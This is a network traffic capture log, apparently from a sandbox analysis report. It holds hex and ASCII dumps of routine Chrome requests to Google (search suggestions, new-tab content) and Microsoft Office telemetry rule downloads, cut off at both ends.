2024-10-31 00:18:22 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	142.250.185.132	443	4676	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:23 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 00:18:23 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:23 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-G1re1n4N8RfB82DbsVc4zw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 00:18:23 UTC	112	IN	Data Raw: 32 65 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 69 72 77 69 6e 64 61 6c 65 20 73 70 65 65 64 77 61 79 22 2c 22 63 6f 66 66 65 65 20 63 72 65 61 6d 65 72 20 72 65 63 61 6c 6c 65 64 22 2c 22 66 69 6e 61 6c 65 20 61 67 61 74 68 61 20 61 6c 6c 20 61 6c 6f 6e 67 22 2c 22 64 69 77 61 6c 69 20 66 65 73 74 69 76 61 6c 22 2c 22 74 6f 72 6e 61 Data Ascii: 2ee)]}'["",["irwindale speedway","coffee creamer recalled","finale agatha all along","diwali festival","torna
2024-10-31 00:18:23 UTC	645	IN	Data Raw: 64 6f 65 73 20 6b 61 6e 73 61 73 20 63 69 74 79 22 2c 22 70 61 6c 77 6f 72 6c 64 20 75 70 64 61 74 65 20 70 61 74 63 68 20 6e 6f 74 65 73 22 2c 22 73 70 61 63 65 78 20 6c 61 75 6e 63 68 65 73 22 2c 22 63 61 74 68 6f 6c 69 63 20 63 68 75 72 63 68 20 6c 75 63 65 20 6d 61 73 63 6f 74 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 Data Ascii: does kansas city","palworld update patch notes","spacex launches","catholic church luce mascot"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdet
2024-10-31 00:18:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	142.250.185.132	443	4676	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:23 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	142.250.185.132	443	4676	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:23 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 00:18:23 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 00:18:23 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 00:18:23 UTC	336	IN	Data Raw: 31 65 35 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e5f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-31 00:18:23 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-31 00:18:23 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-31 00:18:23 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-31 00:18:23 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-31 00:18:23 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 33 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700333,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-10-31 00:18:23 UTC	557	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-10-31 00:18:23 UTC	390	IN	Data Raw: 31 37 66 0d 0a 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 Data Ascii: 17fte(a)?a\|0:void 0};_.de\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};fe\u003dfunction(){let a\u003dnull;if(
2024-10-31 00:18:23 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 68 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 67 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 67 65 5c 75 30 30 33 64 66 65 28 29 29 3b 72 65 74 75 72 6e 20 67 65 7d 3b 5c 6e 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 68 65 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 69 65 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 69 65 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 Data Ascii: 8000}catch(b){}return a};_.he\u003dfunction(){ge\u003d\u003d\u003dvoid 0\u0026\u0026(ge\u003dfe());return ge};\n_.je\u003dfunction(a){const b\u003d_.he();return new _.ie(b?b.createScriptURL(a):a)};_.ke\u003dfunction(a){if(a instanceof _.ie)return a.i;th
2024-10-31 00:18:23 UTC	1378	IN	Data Raw: 76 65 28 5f 2e 77 65 28 61 29 29 3a 74 65 7c 7c 28 74 65 5c 75 30 30 33 64 6e 65 77 20 76 65 29 7d 3b 5f 2e 79 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c Data Ascii: ve(_.we(a)):te\|\|(te\u003dnew ve)};_.ye\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:24 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:24 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:24 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001824Z-16849878b78j7llf5vkyvvcehs00000009wg00000000829p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:24 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:24 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:24 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 3be177bf-d01e-007a-546e-28f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001824Z-15b8d89586fxdh48ft0acdbg4400000002hg00000000bd2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:24 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
